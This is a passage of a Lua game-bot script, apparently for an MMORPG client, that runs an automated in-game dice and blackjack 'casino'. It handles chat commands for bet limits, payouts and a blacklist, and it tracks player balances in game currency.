  2039.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{3X3} - LIGADO!")
  2040.       elseif Choice == "off" and _Games_XXX_Enabled == true then
  2041.         _Games_XXX_Enabled = false
  2042.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{3X3} - DESLIGADO!")
  2043.       else
  2044.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{3X3} - Verifique se voc\234 digitou 'on' para ligar ou 'off' para desligar. | Caso n\227o funcionar quer dizer que j\225 est\225 configurado como solicitado.")
  2045.       end
  2046.     end
  2047.   elseif cmd == "oemin" then
  2048.     if value then
  2049.       local ODD_Min = tonumber(value)
  2050.       if ODD_Min then
  2051.         _Games_OddEven_Min = ODD_Min
  2052.         BetOption[9].Min = ODD_Min
  2053.         BetOption[10].Min = ODD_Min
  2054.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{ODD/EVEN} - M\237nimo ajustado para: " .. ODD_Min * 10 .. "K.")
  2055.       else
  2056.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /oemin NUMEROAQUI")
  2057.       end
  2058.     end
  2059.   elseif cmd == "oemax" then
  2060.     if value then
  2061.       local ODD_Max = tonumber(value)
  2062.       if ODD_Max then
  2063.         _Games_OddEven_Max = ODD_Max
  2064.         BetOption[9].Max = ODD_Max
  2065.         BetOption[10].Max = ODD_Max
  2066.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{ODD/EVEN} - Minimo ajustado para: " .. ODD_Max * 10 .. "K.")
  2067.       else
  2068.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /oemax NUMEROAQUI")
  2069.       end
  2070.     end
  2071.   elseif cmd == "oepay" then
  2072.     if value then
  2073.       local ODD_Payout = tonumber(value)
  2074.       if ODD_Payout then
  2075.         _Games_OddEven_Payout = ODD_Payout
  2076.         BetOption[9].Payout = ODD_Payout
  2077.         BetOption[10].Payout = ODD_Payout
  2078.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{ODD/EVEN} - Minimo ajustado para: " .. ODD_Payout .. "%.")
  2079.       else
  2080.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Por favor, para usar o comando digite /oepay NUMEROAQUI")
  2081.       end
  2082.     end
  2083.   elseif cmd == "oemode" then
  2084.     if value then
  2085.       local Choice = value:lower()
  2086.       if Choice == "on" and _Games_OddEven_Enabled == false then
  2087.         _Games_OddEven_Enabled = true
  2088.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{ODD/EVEN} - LIGADO!")
  2089.       elseif Choice == "off" and _Games_OddEven_Enabled == true then
  2090.         _Games_OddEven_Enabled = false
  2091.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{ODD/EVEN} - DESLIGADO!")
  2092.       else
  2093.         _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{ODD/EVEN} - Verifique se voc\234 digitou 'on' para ligar ou 'off' para desligar. | Caso n\227o funcionar quer dizer que j\225 est\225 configurado como solicitado.")
  2094.       end
  2095.     end
  2096.    elseif cmd == "spotchanger" then
  2097.         Self.Say('I detect blocking. Search new spot..')
  2098.         wait(1000)
  2099.         Close_Casino()
  2100.         Stop_Casino = true
  2101.         SaveLog()
  2102.         Casino_Started = false
  2103.         if Self.Position().z == 7 then
  2104.             gotoLabel('Wchodzina1')
  2105.         elseif Self.Position().z == 6 then
  2106.             gotoLabel('Schodzinapart')
  2107.         elseif Self.Position().z == 8 then
  2108.             gotoLabel('Dolspot2')
  2109.         elseif Self.Position().z == 5 then
  2110.             gotoLabel('Schodzina1')
  2111.         end
  2112.         wait(200)          
  2113.         setWalkerEnabled(true)
  2114.         Gambler_Detected = false
  2115.   elseif cmd == "addb" then
  2116.     if value then
  2117.       local blacklistName = value:lower()
  2118.       local fileLog = "../" .. Self.Name() .. "BlackList.txt"
  2119.       local fileOpen = io.open(fileLog, "a")
  2120.       if fileOpen then
  2121.         fileOpen:write(blacklistName, "\n")
  2122.         if not table.contains(_BlackList_Names, blacklistName) then
  2123.           table.insert(_BlackList_Names, blacklistName)
  2124.         end
  2125.       end
  2126.       _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{BlackList} - " .. blacklistName .. " adicionado na BlackList!")
  2127.       fileOpen:close()
  2128.     else
  2129.       _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "{BlackList} - Verifique se preencheu o nome de acordo com o comando. Exemplo: /addb Jailson")
  2130.     end
  2131.   end
  2132. end
  2133. function onClose()
  2134.   print("O Canal do Cassino foi fechado, reabrindo!")
  2135.   _Channel_Casino = Channel.New("Canal Cassino", onWrite, onClose)
  2136.   _Channel_Casino:SendOrangeMessage("Loading", "Casino Full AFK!")
  2137.   _Channel_Casino:SendOrangeMessage("Autor", cjikar)
  2138.   _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Welcome to Erykowaty Casino. say /help for more commands")
  2139. end
  2140. _Channel_Casino = Channel.New("Canal Cassino", onWrite, onClose)
  2141. _Channel_Casino:SendOrangeMessage("Loading", "Casino Full AFK!")
  2142. _Channel_Casino:SendOrangeMessage("Autor", cjikar)
  2143. _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "Welcome to Erykowaty Casino. say /help for more commands")
  2144. function CoordinatesDC()
  2145.   for x = -1, 1 do
  2146.     for y = -1, 1 do
  2147.       if table.contains(Counter_IDs, Map.GetTopUseItem(Self.Position().x + x, Self.Position().y + y, Self.Position().z).id) then
  2148.         local posx, posy, posz = Self.Position().x, Self.Position().y, Self.Position().z
  2149.         Positions.Counter_Pos.x, Positions.Counter_Pos.y, Positions.Counter_Pos.z = posx + x, posy + y, posz
  2150.         break
  2151.       end
  2152.     end
  2153.   end
  2154.   for x = -1, 1 do
  2155.     for y = -1, 1 do
  2156.       if table.contains(Depot_IDs, Map.GetTopUseItem(Self.Position().x + x, Self.Position().y + y, Self.Position().z).id) then
  2157.         local posx, posy, posz = Self.Position().x, Self.Position().y, Self.Position().z
  2158.         Positions.Depot_Pos.x, Positions.Depot_Pos.y, Positions.Depot_Pos.z = posx + x, posy + y, posz
  2159.         break
  2160.       end
  2161.     end
  2162.   end
  2163.   Positions.Casino_Pos.x, Positions.Casino_Pos.y, Positions.Casino_Pos.z = Self.Position().x, Self.Position().y, Self.Position().z
  2164.   if Positions.Counter_Pos.x == nil then
  2165.     print("Erro: Counter n\227o encontrado! Se tiver itens sobre ele, tire! Cassino desligado. Verifique tudo e digite /start")
  2166.     for i = 0, 15 do
  2167.       closeContainer(i)
  2168.     end
  2169.     Open_Casino:Stop()
  2170.     return false
  2171.   end
  2172.   if Positions.Depot_Pos.x == nil then
  2173.     print("Erro: Depot n\227o encontrado! Se tiver itens sobre ele, tire! Cassino desligado. Verifique tudo e digite /start")
  2174.     for i = 0, 15 do
  2175.       closeContainer(i)
  2176.     end
  2177.     Open_Casino:Stop()
  2178.     return false
  2179.   end
  2180.   if Positions.Casino_Pos.x == nil then
  2181.     print("Erro: Posi\231\227o do Cassino n\227o encontrado! Cassino desligado. Verifique tudo e digite /start")
  2182.     for i = 0, 15 do
  2183.       closeContainer(i)
  2184.     end
  2185.     Open_Casino:Stop()
  2186.     return false
  2187.   end
  2188.   if Positions.Casino_Pos.x > Positions.Counter_Pos.x then
  2189.     Positions.Gambler_Pos.x, Positions.Gambler_Pos.y, Positions.Gambler_Pos.z = Positions.Casino_Pos.x - 2, Positions.Casino_Pos.y, Positions.Casino_Pos.z
  2190.   elseif Positions.Casino_Pos.x < Positions.Counter_Pos.x then
  2191.     Positions.Gambler_Pos.x, Positions.Gambler_Pos.y, Positions.Gambler_Pos.z = Positions.Casino_Pos.x + 2, Positions.Casino_Pos.y, Positions.Casino_Pos.z
  2192.   elseif Positions.Casino_Pos.y < Positions.Counter_Pos.y then
  2193.     Positions.Gambler_Pos.x, Positions.Gambler_Pos.y, Positions.Gambler_Pos.z = Positions.Casino_Pos.x, Positions.Casino_Pos.y + 2, Positions.Casino_Pos.z
  2194.   elseif Positions.Casino_Pos.y > Positions.Counter_Pos.y then
  2195.     Positions.Gambler_Pos.x, Positions.Gambler_Pos.y, Positions.Gambler_Pos.z = Positions.Casino_Pos.x, Positions.Casino_Pos.y - 2, Positions.Casino_Pos.z
  2196.   end
  2197.   _Channel_Casino:SendOrangeMessage("[$ " .. Self.Name() .. " $]", "[Positions] - Detect sucessfull! Loading Casino.")
  2198. end
  2199. function AntiSpam(tipo, mensagem)
  2200.   if tipo == "game" and not table.contains(LimitSay.MUTE, "anti") then
  2201.     Self.Say(mensagem)
  2202.     table.insert(LimitSay.MUTE, "anti")
  2203.   end
  2204. end
  2205.  
  2206.  Turn_Mod = Module("Turn To Gambler", function(mod)
  2207.   if Casino_Started then
  2208.     Gambler_Detected = false
  2209.     for nome, creature in Creature.iPlayers(2) do
  2210.       if creature:Position().x == Positions.Gambler_Pos.x and creature:Position().y == Positions.Gambler_Pos.y and creature:Position().z == Positions.Gambler_Pos.z then
  2211.         Gambler_Detected = true
  2212.         Name_Gambler = nome
  2213.         Gambler_Namee = creature:Name()
  2214.         Welcome_message = {
  2215.         "Hi " .. Gambler_Namee .. " min.bet is only 3cc!",
  2216.         "Welcome " .. Gambler_Namee .. " to Casino!",
  2217.         "Hello " .. Gambler_Namee .. " u fell lucky today?"}
  2218.         if Player["" .. nome .. ""] == nil then
  2219.           Player["" .. nome .. ""] = {
  2220.             JOGO = 0,
  2221.             BALANCE = 0,
  2222.             BALANCE_P = 0,
  2223.             PROFIT = 0,
  2224.             XXX = 0,
  2225.             XXX_Count = 0,
  2226.             XXX_Player = 0,
  2227.             AH,
  2228.             AL,
  2229.             NUM,
  2230.             LOSETOP = {
  2231.               Times = 0,
  2232.               Money = 0,
  2233.               Name
  2234.             },
  2235.             WINTOP = {
  2236.               Times = 0,
  2237.               Money = 0,
  2238.               Name
  2239.             }
  2240.           }
  2241.         end
  2242.         PlayerTable = Player["" .. nome .. ""]
  2243.         if not table.contains(Players_Guests, Gambler_Namee) then
  2244.           Casino.Players_Count = Casino.Players_Count + 1
  2245.           table.insert(Players_Guests, nome)
  2246.         end
  2247.       end
  2248.     end
  2249.     if Gambler_Detected == false then
  2250.          if XXXzagrane == true then
  2251.       PlayerTable.XXX_Player = 0
  2252.       PlayerTable.XXX_Count = 6
  2253.       XXXzagrane = false
  2254.       CheckGame(nil, PlayerTable.JOGO, Name_Atual, nil, PlayerTable.XXX, PlayerTable.XXX_Player)
  2255. end
  2256.       if Self.Position().y > Positions.Counter_Pos.y then
  2257.         if Self.LookDirection() ~= SOUTH then
  2258.           Self.Turn(SOUTH)
  2259.           Last_Activity_Player = nil
  2260.           Last_Activity_Player2 = nil
  2261.         end
  2262.       elseif Self.Position().y < Positions.Counter_Pos.y then
  2263.         if Self.LookDirection() ~= NORTH then
  2264.           Self.Turn(NORTH)
  2265.           Last_Activity_Player = nil
  2266.           Last_Activity_Player2 = nil
  2267.         end
  2268.       elseif Self.Position().x < Positions.Gambler_Pos.x then
  2269.         if Self.LookDirection() ~= WEST then
  2270.           Self.Turn(WEST)
  2271.           Last_Activity_Player = nil
  2272.           Last_Activity_Player2 = nil
  2273.         end
  2274.       elseif Self.Position().x > Positions.Gambler_Pos.x and Self.LookDirection() ~= EAST then
  2275.         Self.Turn(EAST)
  2276.         Last_Activity_Player = nil
  2277.         Last_Activity_Player2 = nil
  2278.       end
  2279.     elseif Gambler_Detected == true then
  2280.       if Positions.Gambler_Pos.x > Self.Position().x then
  2281.         if Self.LookDirection() ~= EAST then
  2282.           Self.Turn(EAST)
  2283.           Last_Player = Name_Gambler
  2284.           Last_Activity_Player = os.time()
  2285.           Last_Activity_Player2 = os.time()
  2286.           if not table.contains(LimitSay.WELCOME, Name_Gambler) then
  2287.             AntiSpam("game", Replace(Welcome_message[math.random(#Welcome_message)]))
  2288.             table.insert(LimitSay.WELCOME, Name_Gambler)
  2289.           end
  2290.         end
  2291.       elseif Positions.Gambler_Pos.x < Self.Position().x then
  2292.         if Self.LookDirection() ~= WEST then
  2293.           Self.Turn(WEST)
  2294.           Last_Player = Name_Gambler
  2295.           Last_Activity_Player = os.time()
  2296.           Last_Activity_Player2 = os.time()
  2297.           if not table.contains(LimitSay.WELCOME, Name_Gambler) then
  2298.             AntiSpam("game", Replace(Welcome_message[math.random(#Welcome_message)]))
  2299.             table.insert(LimitSay.WELCOME, Name_Gambler)
  2300.           end
  2301.         end
  2302.       elseif Positions.Gambler_Pos.y < Self.Position().y then
  2303.         if Self.LookDirection() ~= NORTH then
  2304.           Self.Turn(NORTH)
  2305.           Last_Player = Name_Gambler
  2306.           Last_Activity_Player = os.time()
  2307.           Last_Activity_Player2 = os.time()
  2308.           if not table.contains(LimitSay.WELCOME, Name_Gambler) then
  2309.             AntiSpam("game", Replace(Welcome_message[math.random(#Welcome_message)]))
  2310.             table.insert(LimitSay.WELCOME, Name_Gambler)
  2311.           end
  2312.         end
  2313.       elseif Positions.Gambler_Pos.y > Self.Position().y and Self.LookDirection() ~= SOUTH then
  2314.         Self.Turn(SOUTH)
  2315.         Last_Player = Name_Gambler
  2316.         Last_Activity_Player = os.time()
  2317.         Last_Activity_Player2 = os.time()
  2318.         if not table.contains(LimitSay.WELCOME, Name_Gambler) then
  2319.          AntiSpam("game", Replace(Welcome_message[math.random(#Welcome_message)]))
  2320.           table.insert(LimitSay.WELCOME, Name_Gambler)
  2321.         end
  2322.       end
  2323.     end
  2324.   end
  2325. end, false)
  2326.  
  2327. function Decorations_Casino()
  2328.   for i = 1, #_Decoration_Items do
  2329.     local Decoration_ID = Item.GetID(_Decoration_Items[i]:lower())
  2330.     if Container_Index.Locker:CountItemsOfID(Decoration_ID) == 0 then
  2331.       for slot = 0, Container_Index.Depot:ItemCount() - 1 do
  2332.         local slotItem = Container_Index.Depot:GetItemData(slot)
  2333.         local slotItemID = slotItem.id
  2334.         local slotItemName = Item.GetName(slotItemID)
  2335.         if Decoration_ID == slotItemID then
  2336.           Container_Index.Depot:MoveItemToGround(slot, Positions.Depot_Pos.x, Positions.Depot_Pos.y, Positions.Depot_Pos.z, 50)
  2337.           wait(100)
  2338.           if Container_Index.Locker:CountItemsOfID(Decoration_ID) == 0 then
  2339.             print("Erro: Decora\231\227o n\227o colocada com sucesso, repetindo processo.")
  2340.             Decorations_Casino()
  2341.           else
  2342.             break
  2343.           end
  2344.         end
  2345.       end
  2346.       if Container_Index.Locker:CountItemsOfID(Decoration_ID) == 0 then
  2347.         print("Decoration [" .. _Decoration_Items[i] .. "] not found.")
  2348.       end
  2349.     end
  2350.   end
  2351.   for i = 1, #Dice_IDs do
  2352.     local Dice_ID = Dice_IDs[i]
  2353.     if CountItemsOfIDs(Container_Index.Locker, Dice_IDs) == 0 then
  2354.       for slot = 0, Container_Index.Depot:ItemCount() - 1 do
  2355.         local slotItem = Container_Index.Depot:GetItemData(slot)
  2356.         local slotItemID = slotItem.id
  2357.         if Dice_ID == slotItemID then
  2358.           Container_Index.Depot:MoveItemToGround(slot, Positions.Depot_Pos.x, Positions.Depot_Pos.y, Positions.Depot_Pos.z, 1)
  2359.           wait(100)
  2360.           if Container_Index.Locker:CountItemsOfID(Dice_ID) == 0 then
  2361.             print("Falha ao mover dado, tentando novamente.")
  2362.             Decorations_Casino()
  2363.           else
  2364.             break
  2365.           end
  2366.         end
  2367.       end
  2368.     end
  2369.   end
  2370.   if CountItemsOfIDs(Container_Index.Locker, Dice_IDs) == 0 then
  2371.     print("Dado n\227o foi encontrado! Cassino pausado, coloque o dado no Locker e digite /resume no canal do Cassino!")
  2372.     Casino_Started = false
  2373.     Stop_Casino = true
  2374.   end
  2375.   if _Casino_Depot and Positions.Counter_Pos.x > Positions.Casino_Pos.x then
  2376.     for i = 0, Container_Index.Depot:ItemCount() - 1 do
  2377.       local Spot = Container_Index.Depot:GetItemData(i)
  2378.       while Spot.id == Item.GetID(_Decoration_Tapestry) do
  2379.         wait(Self.Ping() + 350)
  2380.         Container_Index.Depot:MoveItemToGround(i, Positions.Depot_Pos.x - 1, Positions.Depot_Pos.y, Positions.Depot_Pos.z, 1)
  2381.         break
  2382.       end
  2383.     end
  2384.   end
  2385. end
  2386.  
  2387. function CheckGame(Number, Choice, name, Ac, bj_house, bj_player)
  2388.   local _playerWin = false
  2389.   local _playerWin_Ac
  2390.   if Choice ~= Games.XXX and Games_Type[PlayerTable.JOGO + 1] ~= Games.NULL then
  2391.     _Channel_Casino:SendOrangeMessage("[Game]", "Jogo: " .. Games_Type[PlayerTable.JOGO + 1] .. " | Balance: " .. math.floor(PlayerTable.BALANCE) .. "0k")
  2392.   end
  2393.   if Choice == Games.LOW then
  2394.     Casino.TopGames.L = Casino.TopGames.L + 1
  2395.     if Number >= 1 and Number <= 3 then
  2396.       _playerWin = true
  2397.     end
  2398.   elseif Choice == Games.HIGH then
  2399.     Casino.TopGames.H = Casino.TopGames.H + 1
  2400.     if Number >= 4 and Number <= 6 then
  2401.       _playerWin = true
  2402.     end
  2403.   end
  2404.   if Choice == Games.ODD then
  2405.     Casino.TopGames.ODD = Casino.TopGames.ODD + 1
  2406.     if table.contains({
  2407.       1,
  2408.       3,
  2409.       5
  2410.     }, Number) then
  2411.       _playerWin = true
  2412.     end
  2413.   elseif Choice == Games.EVEN then
  2414.     Casino.TopGames.EVEN = Casino.TopGames.EVEN + 1
  2415.     if table.contains({
  2416.       2,
  2417.       4,
  2418.       6
  2419.     }, Number) then
  2420.       _playerWin = true
  2421.     end
  2422.   end
  2423.   if Choice == Games.NUM then
  2424.     Casino.TopGames.NUM = Casino.TopGames.NUM + 1
  2425.     if Number == tonumber(Ac) then
  2426.       _playerWin = true
  2427.     end
  2428.   end
  2429.   if Choice == Games.AL then
  2430.     Casino.TopGames.LAC = Casino.TopGames.LAC + 1
  2431.     if Number >= 1 and Number <= 3 then
  2432.       _playerWin_Ac = true
  2433.     else
  2434.       _playerWin_Ac = false
  2435.     end
  2436.   elseif Choice == Games.AH then
  2437.     Casino.TopGames.HAC = Casino.TopGames.HAC + 1
  2438.     if Number >= 4 and Number <= 6 then
  2439.       _playerWin_Ac = true
  2440.     else
  2441.       _playerWin_Ac = false
  2442.     end
  2443.   end
  2444.   if Choice == Games.BJ then
  2445.     if bj_player < bj_house and bj_house <= 21 then
  2446.       _playerWin = false
  2447.       Self.Say("You Losse. Cassino: " .. bj_house .. ", Player: " .. bj_player .. ".")
  2448.       BlackJack_House = 0
  2449.       BlackJack_Player = 0
  2450.       BlackJack_Count = 0
  2451.       Jailson:Start()
  2452.     elseif bj_house < bj_player and bj_player <= 21 then
  2453.       _playerWin = true
  2454.       Self.Say("You Win! Cassino: " .. bj_house .. ", Player: " .. bj_player .. ".")
  2455.       BlackJack_House = 0
  2456.       BlackJack_Player = 0
  2457.       BlackJack_Count = 0
  2458.       Jailson:Start()
  2459.     elseif bj_house < bj_player and bj_player > 21 then
  2460.       _playerWin = false
  2461.       Self.Say("You Losse. Cassino: " .. bj_house .. ", Player: " .. bj_player .. ".")
  2462.       BlackJack_House = 0
  2463.       BlackJack_Player = 0
  2464.       BlackJack_Count = 0
  2465.       Jailson:Start()
  2466.     elseif bj_player < bj_house and bj_house > 21 then
  2467.       _playerWin = true
  2468.       Self.Say("You Win! Cassino: " .. bj_house .. ", Player: " .. bj_player .. ".")
  2469.       BlackJack_House = 0
  2470.       BlackJack_Player = 0
  2471.       BlackJack_Count = 0
  2472.       Jailson:Start()
  2473.     elseif bj_player == bj_house then
  2474.       Self.Say("Draw! Cassino: " .. bj_house .. ", Player: " .. bj_player .. ".")
  2475.       _playerWin = nil
  2476.       PlayerTable.JOGO = Games.NULL
  2477.       BlackJack_House = 0
  2478.       BlackJack_Player = 0
  2479.       BlackJack_Count = 0
  2480.       Jailson:Start()
  2481.     elseif bj_player > 21 and bj_house > 21 then
  2482.       Self.Say("We both lost. Play Again")
  2483.       _playerWin = nil
  2484.       PlayerTable.JOGO = Games.NULL
  2485.       BlackJack_House = 0
  2486.       BlackJack_Player = 0
  2487.       BlackJack_Count = 0
  2488.       Jailson:Start()
  2489.     end
  2490.   elseif Choice == Games.XXX then
  2491.     if bj_player < bj_house then
  2492.       Self.Say("You Lose! Cassino: " .. bj_house .. ", Player: " .. bj_player .. ".")
  2493.       _playerWin = false
  2494.     elseif bj_house < bj_player then
  2495.       Self.Say("You Win! Cassino: " .. bj_house .. ", Player: " .. bj_player .. ".")
  2496.       _playerWin = true
  2497.     elseif bj_house == bj_player then
  2498.       _playerWin = nil
  2499.       Self.Say('Draw!')
  2500.     end
  2501.   end
  2502.   if _playerWin == true and _playerWin_Ac == nil then
  2503.     Casino_Won(name)
  2504.     BlackJack_House = 0
  2505.     BlackJack_Player = 0
  2506.     BlackJack_Count = 0
  2507.     Player["" .. name .. ""].XXX = 0
  2508.     Player["" .. name .. ""].XXX_Player = 0
  2509.     Player["" .. name .. ""].XXX_Count = 0
  2510.   elseif _playerWin == false and _playerWin_Ac == nil then
  2511.     Casino_Lose(name)
  2512.     BlackJack_House = 0
  2513.     BlackJack_Player = 0
  2514.     BlackJack_Count = 0
  2515.     Player["" .. name .. ""].XXX = 0
  2516.     Player["" .. name .. ""].XXX_Player = 0
  2517.     PlayerTable.XXX_Count = 0
  2518.   elseif _playerWin_Ac == true then
  2519.     Casino_Won_Ac(name, Ac)
  2520.   elseif _playerWin_Ac == false then
  2521.     Casino_Lose_Ac(name, Ac)
  2522.   elseif _playerWin == nil then
  2523.       Self.Say('We play again')
  2524.       BlackJack_House = 0
  2525.       BlackJack_Player = 0
  2526.       BlackJack_Count = 0
  2527.       Player["" .. name .. ""].XXX = 0
  2528.       Player["" .. name .. ""].XXX_Player = 0
  2529.       PlayerTable.XXX_Count = 0
  2530.       PlayerTable.JOGO = Games.XXX
  2531.       RollDice()
  2532.       wait(100)
  2533.   end
  2534. end
  2535. function Casino_Won(name)
  2536.   Last_Activity_Player = os.time()
  2537.   Last_Activity_Player2 = os.time()
  2538.   if PlayerTable.BALANCE and PlayerTable.JOGO and BetOption[PlayerTable.JOGO] then
  2539.     if PlayerTable.BALANCE > BetOption[PlayerTable.JOGO].Max then
  2540.       PlayerTable.WINTOP.Name = name
  2541.       PlayerTable.WINTOP.Money = PlayerTable.WINTOP.Money + BetOption[PlayerTable.JOGO].Max * (BetOption[PlayerTable.JOGO].Payout / 100)
  2542.       PlayerTable.WINTOP.Times = PlayerTable.WINTOP.Times + 1
  2543.       Casino.Profit = Casino.Profit - BetOption[PlayerTable.JOGO].Max * (BetOption[PlayerTable.JOGO].Payout / 100)
  2544.       _Channel_Casino:SendOrangeMessage("[Player Ganhou]", "Nome: " .. name .. " | Jogo: " .. Games_Type[PlayerTable.JOGO + 1] .. " | Ganhou: +" .. math.floor(BetOption[PlayerTable.JOGO].Max * 10 * (BetOption[PlayerTable.JOGO].Payout / 100)) .. "k | Balance: " .. math.floor(PlayerTable.BALANCE * 10 + BetOption[PlayerTable.JOGO].Max * 10 * (BetOption[PlayerTable.JOGO].Payout / 100)) .. "k")
  2545.       PlayerTable.BALANCE_P = math.floor(PlayerTable.BALANCE * 10 + BetOption[PlayerTable.JOGO].Max * 10 * (BetOption[PlayerTable.JOGO].Payout / 100))
  2546.       AntiSpam("game", Replace(Win_Messages_Casino[math.random(#Win_Messages_Casino)]))
  2547.       PlayerTable.BALANCE = PlayerTable.BALANCE + BetOption[PlayerTable.JOGO].Max * (BetOption[PlayerTable.JOGO].Payout / 100)
  2548.       _Player_Activity = os.time()
  2549.       BlackJack_House = 0
  2550.       BlackJack_Player = 0
  2551.       BlackJack_Count = 0
  2552.       PlayerTable.JOGO = Games.NULL
  2553.       disableLocalChat = false
  2554.       Self.UseItemFromEquipment('shield')
  2555.     else
  2556.       PlayerTable.WINTOP.Name = name
  2557.       PlayerTable.WINTOP.Money = PlayerTable.WINTOP.Money + PlayerTable.BALANCE * (BetOption[PlayerTable.JOGO].Payout / 100)
  2558.       PlayerTable.WINTOP.Times = PlayerTable.WINTOP.Times + 1
  2559.       Casino.Profit = Casino.Profit - PlayerTable.BALANCE * (BetOption[PlayerTable.JOGO].Payout / 100)
  2560.       _Channel_Casino:SendOrangeMessage("[Player Ganhou]", "Nome: " .. name .. " | Jogo: " .. Games_Type[PlayerTable.JOGO + 1] .. " | Ganhou: +" .. math.floor(PlayerTable.BALANCE * 10 * (BetOption[PlayerTable.JOGO].Payout / 100)) .. "k | Balance: " .. math.floor(PlayerTable.BALANCE * 10 + PlayerTable.BALANCE * 10 * (BetOption[PlayerTable.JOGO].Payout / 100)) .. "k")
  2561.       PlayerTable.BALANCE_P = math.floor(PlayerTable.BALANCE * 10 + PlayerTable.BALANCE * 10 * (BetOption[PlayerTable.JOGO].Payout / 100))
  2562.       AntiSpam("game", Replace(Win_Messages_Casino[math.random(#Win_Messages_Casino)]))
  2563.       PlayerTable.BALANCE = PlayerTable.BALANCE + PlayerTable.BALANCE * (BetOption[PlayerTable.JOGO].Payout / 100)
  2564.       _Player_Activity = os.time()
  2565.       BlackJack_House = 0
  2566.       BlackJack_Player = 0
  2567.       BlackJack_Count = 0
  2568.       Self.UseItemFromEquipment('shield')
  2569.       PlayerTable.JOGO = Games.NULL
  2570.       disableLocalChat = false
  2571.     end
  2572.   end
  2573.   for i = 0, Container_Index.Depot:ItemCount() - 1 do
  2574.     local Spot = Container_Index.Depot:GetItemData(i)
  2575.     if Spot.id == Item.GetID(_Item_Use_Win) then
  2576.       Container_Index.Depot:UseItem(i, true)
  2577.        Self.UseItemFromEquipment('shield')
  2578.       break
  2579.     end
  2580.   end
  2581. end
  2582. function Casino_Lose(name)
  2583.   Last_Activity_Player = os.time()
  2584.   Last_Activity_Player2 = os.time()
  2585.   if PlayerTable.BALANCE and PlayerTable.JOGO and BetOption[PlayerTable.JOGO] then
  2586.     if PlayerTable.BALANCE > BetOption[PlayerTable.JOGO].Max then
  2587.       PlayerTable.LOSETOP.Name = name
  2588.       PlayerTable.LOSETOP.Money = PlayerTable.LOSETOP.Money + BetOption[PlayerTable.JOGO].Max
  2589.       PlayerTable.LOSETOP.Times = PlayerTable.LOSETOP.Times + 1
  2590.       Casino.Profit = Casino.Profit + BetOption[PlayerTable.JOGO].Max
  2591.       _Channel_Casino:SendOrangeMessage("[Player Perdeu]", "Nome: " .. name .. " | Jogo: " .. Games_Type[PlayerTable.JOGO + 1] .. " | Perdeu: -" .. math.floor(BetOption[PlayerTable.JOGO].Max * 10) .. "k | Balance: " .. math.floor(PlayerTable.BALANCE * 10 - BetOption[PlayerTable.JOGO].Max * 10) .. "k")
  2592.       _Player_Activity = os.time()
  2593.       PlayerTable.BALANCE_P = math.floor(PlayerTable.BALANCE * 10 - BetOption[PlayerTable.JOGO].Max * 10)
  2594.       AntiSpam("game", Replace(Lose_Messages_Casino[math.random(#Lose_Messages_Casino)]))
  2595.       PlayerTable.BALANCE = PlayerTable.BALANCE - BetOption[PlayerTable.JOGO].Max
  2596.       BlackJack_House = 0
  2597.       BlackJack_Player = 0
  2598.       BlackJack_Count = 0
  2599.       PlayerTable.JOGO = Games.NULL
  2600.       disableLocalChat = false
  2601.     else
  2602.       PlayerTable.LOSETOP.Name = name
  2603.       PlayerTable.LOSETOP.Money = PlayerTable.LOSETOP.Money + PlayerTable.BALANCE
  2604.       PlayerTable.LOSETOP.Times = PlayerTable.LOSETOP.Times + 1
  2605.       Casino.Profit = Casino.Profit + PlayerTable.BALANCE
  2606.       _Channel_Casino:SendOrangeMessage("[Player Perdeu]", "Nome: " .. name .. " | Jogo: " .. Games_Type[PlayerTable.JOGO + 1] .. " | Perdeu: -" .. math.floor(PlayerTable.BALANCE * 10) .. "k | Balance: 0k")
  2607.       _Player_Activity = os.time()
  2608.       PlayerTable.BALANCE_P = 0
  2609.       AntiSpam("game", Replace(Lose_Messages_Casino[math.random(#Lose_Messages_Casino)]))
  2610.       PlayerTable.BALANCE = 0
  2611.       BlackJack_House = 0
  2612.       BlackJack_Player = 0
  2613.       BlackJack_Count = 0
  2614.       PlayerTable.JOGO = Games.NULL
  2615.       disableLocalChat = false
  2616.     end
  2617.   end
  2618.   for i = 0, Container_Index.Depot:ItemCount() - 1 do
  2619.     local Spot = Container_Index.Depot:GetItemData(i)
  2620.     if Spot.id == Item.GetID(_Item_Use_Lose) then
  2621.       Container_Index.Depot:UseItem(i, true)
  2622.       break
  2623.     end
  2624.   end
  2625. end
  2626. function Casino_Won_Ac(name, Ac)
  2627.   Last_Activity_Player = os.time()
  2628.   Last_Activity_Player2 = os.time()
  2629.   PlayerTable.WINTOP.Name = name
  2630.   PlayerTable.WINTOP.Times = PlayerTable.WINTOP.Times + 1
  2631.   PlayerTable.WINTOP.Money = PlayerTable.WINTOP.Money + Ac * PayoutOption / 100
  2632.   Casino.Profit = Casino.Profit - Ac * PayoutOption / 100
  2633.   _Channel_Casino:SendOrangeMessage("[Player Type (Ac)]", "Name: " .. name .. " | Type: " .. Games_Type[PlayerTable.JOGO + 1] .. " | Perdeu: -" .. Ac * 10 .. "k | Balance: " .. math.floor((PlayerTable.BALANCE - Ac) * 10) .. "k.")
  2634.   _Player_Activity = os.time()
  2635.   PlayerTable.BALANCE_P = math.floor((PlayerTable.BALANCE + Ac * PayoutOption / 100) * 10)
  2636.   AntiSpam("game", Replace(Win_Messages_Casino[math.random(#Win_Messages_Casino)]))
  2637.   PlayerTable.BALANCE = PlayerTable.BALANCE + Ac * PayoutOption / 100
